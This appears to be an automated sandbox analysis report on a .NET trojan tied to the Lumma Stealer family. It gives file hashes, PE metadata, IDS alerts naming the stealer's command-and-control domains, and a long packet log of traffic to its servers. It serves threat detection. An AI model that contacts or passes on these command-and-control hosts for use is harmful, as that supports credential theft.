	qbvytVOPN0.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer	Browse	188.114.97.3 188.114.96.3
	kUL53PJUsV.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer	Browse	188.114.97.3 188.114.96.3
	CcPVItZy6w.exe	Get hash	malicious	LummaC	Browse	188.114.97.3 188.114.96.3
	satellites.exe	Get hash	malicious	LummaC	Browse	188.114.97.3 188.114.96.3
	satellites.exe	Get hash	malicious	LummaC	Browse	188.114.97.3 188.114.96.3

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	847
Entropy (8bit):	5.345615485833535
Encrypted:	false
SSDEEP:	24:ML9E4KlKDE4KhKiKhPKIE4oKNzKoZAE4KzeR:MxHKlYHKh3oPtHo6hAHKzeR
MD5:	EEEC189088CC5F1F69CEE62A3BE59EA2
SHA1:	250F25CE24458FC0C581FDDF59FAA26D557844C5
SHA-256:	5345D03A7E6C9436497BA4120DE1F941800F2522A21DE70CEA6DB1633D356E11
SHA-512:	2E017FD29A505BCAC78C659DE10E0D869C42CE3B057840680B23961DBCB1F82B1CC7094C87CEEB8FA14826C4D8CFED88DC647422A4A3FA36C4AAFD6430DAEFE5
Malicious:	true
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02b0c61bb4\System.Xml.ni.dll",0..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.220628643177381
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe
File size:	14'336 bytes
MD5:	876c12019e3b15fe92841e8d358d4921
SHA1:	08e3fb4496270b4ab04d5adee71fefdb670114a1
SHA256:	b8738d4888209ef2912d232eafbd13a0017bb62761a9f5d567c3fa0090a09972
SHA512:	ad35ea067bcb51cd420404136f62a66698f8d10e2b46ea6c13161f0e14b9558233ccae05e5ba1f175d4f71be55dbc960df8663abf5012ce1a12e462dbd766e6e
SSDEEP:	384:EDtTXkmazUdOsR9VxeFpFb+iQIQRJqj5MqaCFJV9/y:Eh7/6Uad1QHqlT6
TLSH:	0C523C5C1BD8443AFEAA1EBDA8E343018A73F76E5503F72F1C9C50992D8276055F136A
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....."..........."...0..............L... ...`....@.. ....................................`................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x404cc6
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x8B22E0EF [Mon Dec 21 13:53:51 2043 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x4c71	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x6000	0x5cc	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x8000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x4bd0	0x38	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x2ccc	0x2e00	d77976d9a9d7b43cef3d736362c29b48	False	0.47469429347826086	data	5.514309655715098	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x6000	0x5cc	0x600	fea80c03178fc0dd78c3b4db1f09a417	False	0.4192708333333333	data	4.117373895955984	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x8000	0xc	0x200	658905ad537379efc9d674fdc42ca684	False	0.044921875	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x6090	0x33c	data			0.4190821256038647
RT_MANIFEST	0x63dc	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Severity	Source Port	Dest Port	Source IP	Dest IP
2024-08-28T15:29:04.443508+0200	TCP	2055378	ET MALWARE Observed Lumma Stealer Related Domain (miracledzmnqwui .shop in TLS SNI)	1	49703	443	192.168.2.7	188.114.96.3
2024-08-28T15:29:06.451728+0200	UDP	2055483	ET MALWARE Lumma Stealer Domain in DNS Lookup (traineiwnqo .shop)	1	50347	53	192.168.2.7	1.1.1.1
2024-08-28T15:29:03.784058+0200	UDP	2055377	ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (miracledzmnqwui .shop)	1	57267	53	192.168.2.7	1.1.1.1
2024-08-28T15:29:05.247507+0200	TCP	2049836	ET MALWARE Lumma Stealer Related Activity	1	49703	443	192.168.2.7	188.114.96.3
2024-08-28T15:29:05.247507+0200	TCP	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	49703	443	192.168.2.7	188.114.96.3
2024-08-28T15:29:05.751380+0200	TCP	2055489	ET MALWARE Lumma Stealer Domain in TLS SNI (locatedblsoqp .shop)	1	49704	443	192.168.2.7	188.114.97.3
2024-08-28T15:29:06.199789+0200	TCP	2049836	ET MALWARE Lumma Stealer Related Activity	1	49704	443	192.168.2.7	188.114.97.3
2024-08-28T15:29:06.199789+0200	TCP	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	49704	443	192.168.2.7	188.114.97.3
2024-08-28T15:29:07.638515+0200	TCP	2055493	ET MALWARE Lumma Stealer Domain in TLS SNI (traineiwnqo .shop)	1	49707	443	192.168.2.7	188.114.97.3
2024-08-28T15:29:07.105801+0200	TCP	2049836	ET MALWARE Lumma Stealer Related Activity	1	49705	443	192.168.2.7	188.114.97.3
2024-08-28T15:29:07.105801+0200	TCP	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	49705	443	192.168.2.7	188.114.97.3
2024-08-28T15:29:05.253081+0200	UDP	2055479	ET MALWARE Lumma Stealer Domain in DNS Lookup (locatedblsoqp .shop)	1	64418	53	192.168.2.7	1.1.1.1
2024-08-28T15:29:06.967216+0200	TCP	2055493	ET MALWARE Lumma Stealer Domain in TLS SNI (traineiwnqo .shop)	1	49705	443	192.168.2.7	188.114.97.3

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 28, 2024 15:29:02.055763960 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:02.060798883 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.060928106 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:02.064625025 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:02.069427013 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.716989040 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.717014074 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.717026949 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.717066050 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.717077971 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.717088938 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.717099905 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.717113972 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.717123032 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:02.717202902 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:02.717263937 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.717278004 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.717322111 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:02.721970081 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.722018957 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.722070932 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:02.814740896 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.814769030 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.814780951 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.814872980 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:02.814935923 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.814949989 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.815001965 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:02.815196991 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.815213919 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.815227985 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.815242052 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:02.815304041 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:02.815331936 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.815362930 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.815375090 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.815397024 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:02.816114902 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.816150904 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.816153049 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:02.816164017 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.816204071 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:02.816314936 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.816327095 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.816375971 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:02.816890001 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.816935062 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.816946983 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.816976070 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:02.817047119 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.817059994 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.817092896 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:02.817749977 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.817795992 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:02.819732904 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.872731924 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:02.905558109 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.905574083 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.905586004 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.905599117 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.905611992 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.905664921 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:02.905751944 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:02.905787945 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.905833960 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:02.905838966 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.905852079 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.905896902 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:02.905971050 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.905982971 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.905992985 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.906007051 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.906034946 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:02.906068087 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:02.906688929 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.906738043 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.906749010 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.906791925 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:02.906864882 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.906877041 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.906887054 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.906898022 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.906909943 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:02.906936884 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:02.907603025 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.907623053 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.907634020 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.907646894 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:02.907680988 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:02.907773972 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.907784939 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.907794952 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.907810926 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.907833099 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:02.907866001 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:02.908607006 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.908675909 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.908688068 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.908720970 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:02.908827066 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.908837080 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.908848047 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.908859968 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.908864975 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:02.908890009 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:02.909430027 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.909480095 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.909483910 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:02.909492016 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.909535885 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:02.909596920 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.909607887 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.909651041 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:02.993915081 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.993938923 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.993978977 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:02.993993998 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.994005919 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.994034052 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.994045973 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.994066954 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:02.994093895 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:02.994105101 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.999643087 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.999685049 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:02.999695063 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.999706984 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.999717951 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.999749899 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:02.999792099 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.999803066 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.999833107 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:02.999907017 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.999918938 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.999931097 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:02.999953032 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:02.999969959 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.000046968 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.000060081 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.000070095 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.000087976 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.000094891 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.000098944 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.000123024 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.000617981 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.000658035 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.000679970 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.000690937 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.000727892 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.000818014 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.000830889 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.000843048 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.000864983 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.001036882 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.001080036 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.001105070 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.001116991 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.001156092 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.001193047 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.001204967 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.001250029 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.001318932 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.001329899 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.001342058 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.001353979 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.001384020 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.001415014 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.001804113 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.001822948 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.001835108 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.001859903 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.001940012 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.001951933 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.001962900 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.001987934 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.002011061 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.002137899 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.002150059 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.002160072 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.002171040 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.002182961 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.002186060 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.002209902 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.002731085 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.002774000 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.002774000 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.002789021 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.002829075 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.002896070 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.002907991 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.002918005 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.002928972 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.002945900 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.002974033 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.003031015 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.003087997 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.003101110 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.003112078 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.003129005 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.003150940 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.004400015 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.004425049 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.004436970 CEST	80	49702	147.45.44.131	192.168.2.7
Aug 28, 2024 15:29:03.004472017 CEST	49702	80	192.168.2.7	147.45.44.131
Aug 28, 2024 15:29:03.004523993 CEST	80	49702	147.45.44.131	192.168.2.7
